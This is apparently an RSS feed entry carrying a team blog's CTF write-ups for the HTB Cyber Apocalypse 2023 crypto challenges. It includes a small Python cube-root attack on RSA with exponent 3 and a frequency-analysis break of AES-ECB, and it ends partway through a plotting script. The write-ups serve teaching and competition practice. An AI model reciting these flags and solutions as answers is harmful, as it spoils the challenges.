<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Onirique | BKISC Blogs</title><link>https://bkisc-blog.netlify.app/author/onirique/</link><atom:link href="https://bkisc-blog.netlify.app/author/onirique/index.xml" rel="self" type="application/rss+xml"/><description>Onirique</description><generator>Wowchemy (https://wowchemy.com)</generator><language>en-us</language><image><url>https://bkisc-blog.netlify.app/author/onirique/avatar_hu8c6b91a6c2eae83f406a44092e6d577f_254439_270x270_fill_lanczos_center_3.png</url><title>Onirique</title><link>https://bkisc-blog.netlify.app/author/onirique/</link></image><item><title>Cyber Apocalypse 2023: The Cursed Mission - Cryptography</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-crypto/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-crypto/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/crypto/">crypto&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#ancient-encodings">Ancient Encodings&lt;/a>&lt;/li>
&lt;li>&lt;a href="#small-steps">Small StEps&lt;/a>&lt;/li>
&lt;li>&lt;a href="#perfect-synchronization">Perfect Synchronization&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement">Problem statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method">Solution method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results">Results&lt;/a>&lt;/li>
&lt;li>&lt;a href="#conclusion-1">Conclusion&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#multipage-recyclings">Multipage Recyclings&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-1">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-1">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-1">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-1">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#inside-the-matrix">Inside the Matrix&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-2">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-2">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-2">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-2">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#colliding-heritage">Colliding Heritage&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#initial-analysis-3">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution">Solution&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#elliptic-labyrinth">Elliptic Labyrinth&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-3">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-4">Initial analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-3">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-3">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#elliptic-labyrinth-revenge">Elliptic Labyrinth Revenge&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-4">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-5">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#implementation-and-results">Implementation and Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#biased-heritage">Biased Heritage&lt;/a>&lt;/li>
&lt;li>&lt;a href="#converging-visions">Converging Visions&lt;/a>&lt;/li>
&lt;li>&lt;a href="#blokechain">Blokechain&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-post">Original Post&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="ancient-encodings">Ancient Encodings&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1eDi7M0cVA9-y2EPYMWehni7YQpq-3QN4/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a Python script and a text file. Analyze the script, we get to know how the string is being encoded, which is &lt;code>Base 64 encode &amp;gt; Conversion to long from bytes &amp;gt; Hex&lt;/code>.&lt;/p>
&lt;p>To get the original string, we simply reverse the process, using &lt;a href="https://gchq.github.io/CyberChef" target="_blank" rel="noopener">CyberChef&lt;/a> with the hex given in the text file.&lt;/p>
&lt;img src="crypto1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{1n_y0ur_j0urn3y_y0u_wi1l_se3_th15_enc0d1ngs_ev3rywher3}&lt;/strong>&lt;/p>
&lt;h2 id="small-steps">Small StEps&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1UWVtdIr8GX9C6to-uuyEJe0v3Zg_baDf/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you continue your journey, you must learn about the encryption method the aliens used to secure their communication from eavesdroppers. The engineering team has designed a challenge that emulates the exact parameters of the aliens&amp;rsquo; encryption system, complete with instructions and a code snippet to connect to a mock alien server. Your task is to break it.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given two Python script. The server.py is to setup a server for &lt;code>RSA encryption&lt;/code>. It will output &lt;code>n, e, ct&lt;/code> upon connecting to the netcat server/run the Python script locally.&lt;/p>
&lt;img src="crypto2.png" alt="linux" width="1000"/>
&lt;p>Since &lt;code>e&lt;/code> is always &lt;code>3&lt;/code>, we can use &lt;a href="https://crypto.stackexchange.com/questions/6713/low-public-exponent-attack-for-rsa" target="_blank" rel="noopener">Low public exponent RSA attack&lt;/a> to recover the initial message. In general, we only have to calculate &lt;code>cube root&lt;/code> of ciphertext to get the plaintext.&lt;/p>
&lt;p>Below is the implementation of the attack in Python.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">gmpy2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">884883504927573976507811885368533220992278181011115684591381528075201937106582650631361008463165895850991665645858432026935373136174833729634068491453157&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gmpy2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">iroot&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ct&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1"># Get cube root of ct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pt&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{5ma1l_E-xp0n3nt}&lt;/strong>&lt;/p>
&lt;h2 id="perfect-synchronization">Perfect Synchronization&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1vm-yF-YzL-l18Rf83RwPo2ar0ZjLEehg?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The encryption is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">os&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">urandom&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">MESSAGE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="nb">all&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isupper&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">{_}&lt;/span>&lt;span class="s1"> &amp;#39;&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">MESSAGE&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Cipher&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">salt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">salt&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Cipher&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">MESSAGE&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">encrypted&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;output.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w+&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">encrypted&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement">Problem statement&lt;/h3>
&lt;p>The Python script defines a &lt;code>Cipher&lt;/code> class that generates a random salt and key, then encrypts a message using AES in ECB mode. The encrypted message is written to a file in hexadecimal format. The &lt;code>MESSAGE&lt;/code> variable is imported from a separate file. Our mission is to recover the encrypted message and find the flag in it.&lt;/p>
&lt;h3 id="initial-analysis">Initial Analysis&lt;/h3>
&lt;h4 id="the-randomness">The randomness&lt;/h4>
&lt;p>The author adds some randomnesses including &lt;code>key&lt;/code> and &lt;code>salt&lt;/code> to make the encryption more unpredictable. But if you look more closely into it, you will realize that the &lt;code>salt&lt;/code> is just initialized once, and be padded for all characters in the message. It means the &lt;code>salt&lt;/code> is not too much useful, it just shifts all characters by a constant value.&lt;/p>
&lt;h4 id="the-aes-encryption-mode">The AES encryption mode&lt;/h4>
&lt;p>The author uses EBC mode - the weakest mode, to encrypt all &lt;code>shifted&lt;/code> characters of the message.&lt;/p>
&lt;p>For anyone who doesn&amp;rsquo;t know about &lt;code>ECB&lt;/code>: &lt;code>ECB (Electronic Codebook)&lt;/code> is one of the simplest modes of &lt;code>AES encryption&lt;/code>, where each block of plaintext is encrypted separately using the same key.&lt;/p>
&lt;p>In this mode, identical plaintext blocks will be encrypted to identical ciphertext blocks, making it vulnerable to attacks that exploit patterns in the plaintext. Therefore, ECB mode is not recommended for secure communication, and other modes like CBC, CTR, or GCM are preferred. A visualized example is illustrated in &lt;a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation" target="_blank" rel="noopener">this wiki&lt;/a> to show that AES-ECB mode is not semantically secure.&lt;/p>
&lt;h4 id="conclusion">Conclusion&lt;/h4>
&lt;p>By the above analysis, we can prove that:&lt;/p>
&lt;p>For every $c_A, c_B \in \text{message}$: $c_A = c_B \Leftrightarrow ECB(c_A + \text{salt}) = ECB(c_B + \text{salt})$&lt;/p>
&lt;p>This means the encryption is just a substitution cipher.&lt;/p>
&lt;h3 id="solution-method">Solution method&lt;/h3>
&lt;p>For simplicity in frequency analyzing, I map every different hex strings in the output file to a character (A-Z, 1-4), noted that identical strings would produce identical characters. By comparing to English Letter Frequency (including space character) table, we may recover some common letters like e, t, i, a, o confidentally. Then, by the reduncancy and meaning of English words, I can recover the entire content and find the flag.&lt;/p>
&lt;h3 id="results">Results&lt;/h3>
&lt;p>After the mapping, here is the encrypted message:&lt;/p>
&lt;p>&lt;code>ABCDECFGHIJFJKHLMLIMLINJLCOIPFIQRCIAJGQIQRJQIMFIJFHISMTCFILQBCQGRIPAIVBMQQCFIKJFSEJSCIGCBQJMFIKCQQCBLIJFOIGPUNMFJQMPFLIPAIKCQQCBLIPGGEBIVMQRITJBHMFSIABCDECFGMCLIUPBCPTCBIQRCBCIMLIJIGRJBJGQCBMLQMGIOMLQBMNEQMPFIPAIKCQQCBLIQRJQIMLIBPESRKHIQRCILJUCIAPBIJKUPLQIJKKILJUWKCLIPAIQRJQIKJFSEJSCIMFIGBHWQJFJKHLMLIABCDECFGHIJFJKHLMLIJKLPIXFPVFIJLIGPEFQMFSIKCQQCBLIMLIQRCILQEOHIPAIQRCIABCDECFGHIPAIKCQQCBLIPBISBPEWLIPAIKCQQCBLIMFIJIGMWRCBQCYQIQRCIUCQRPOIMLIELCOIJLIJFIJMOIQPINBCJXMFSIGKJLLMGJKIGMWRCBLIABCDECFGHIJFJKHLMLIBCDEMBCLIPFKHIJINJLMGIEFOCBLQJFOMFSIPAIQRCILQJQMLQMGLIPAIQRCIWKJMFQCYQIKJFSEJSCIJFOILPUCIWBPNKCUILPKTMFSILXMKKLIJFOIMAIWCBAPBUCOINHIRJFOIQPKCBJFGCIAPBICYQCFLMTCIKCQQCBINPPXXCCWMFSIOEBMFSIVPBKOIVJBIMMINPQRIQRCINBMQMLRIJFOIQRCIJUCBMGJFLIBCGBEMQCOIGPOCNBCJXCBLINHIWKJGMFSIGBPLLVPBOIWEZZKCLIMFIUJ1PBIFCVLWJWCBLIJFOIBEFFMFSIGPFQCLQLIAPBIVRPIGPEKOILPKTCIQRCUIQRCIAJLQCLQILCTCBJKIPAIQRCIGMWRCBLIELCOINHIQRCIJYMLIWPVCBLIVCBCINBCJXJNKCIELMFSIABCDECFGHIJFJKHLMLIAPBICYJUWKCILPUCIPAIQRCIGPFLEKJBIGMWRCBLIELCOINHIQRCI1JWJFCLCIUCGRJFMGJKIUCQRPOLIPAIKCQQCBIGPEFQMFSIJFOILQJQMLQMGJKIJFJKHLMLISCFCBJKKHIRQN2J3LMUWKC3LENLQMQEQMPF3ML3VCJX4IGJBOIQHWCIUJGRMFCBHIVCBCIAMBLQIELCOIMFIVPBKOIVJBIMMIWPLLMNKHINHIQRCIELIJBUHLILMLIQPOJHIQRCIRJBOIVPBXIPAIKCQQCBIGPEFQMFSIJFOIJFJKHLMLIRJLINCCFIBCWKJGCOINHIGPUWEQCBILPAQVJBCIVRMGRIGJFIGJBBHIPEQILEGRIJFJKHLMLIMFILCGPFOLIVMQRIUPOCBFIGPUWEQMFSIWPVCBIGKJLLMGJKIGMWRCBLIJBCIEFKMXCKHIQPIWBPTMOCIJFHIBCJKIWBPQCGQMPFIAPBIGPFAMOCFQMJKIOJQJIWEZZKCIWEZZKCIWEZZKC&lt;/code>&lt;/p>
&lt;p>Plotting the histogram of this encrypted message, comparing with the expected frequency, we get:&lt;/p>
&lt;img src='histogram.png' alt="Histogram" width="1000"/>
&lt;p>Here is the script, if you&amp;rsquo;re interested in:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">matplotlib.pyplot&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nn">plt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">plot_histogram&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">english_freq&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;space&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.18316895740067898&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;e&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.10266650309881365&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;t&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.07516918822929543&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0653211522431101&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;o&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.06165021261170107&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;i&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.06109938076429621&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;n&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.05748993391266301&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;s&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0558094607431706&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.05501226388301501&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;h&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0418265243918537&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;l&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.03203162615518401&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;d&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.03123691335535358&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;u&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.02074798285524714&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;c&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.020576050425919314&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;m&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.019830666456506605&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;f&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.016535714836861396&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.015818636195592536&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;g&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.014126275726274115&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.01318902368984632&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.012614330285168858&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.010748157780246267&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;v&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.007961080746834234&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;k&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.005609987561400249&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0012367402118007968&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;j&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0010975645567653538&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;q&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0010065039671926798&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;z&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.0005273232293542625&lt;/span>&lt;span class="p">}&lt;/span>
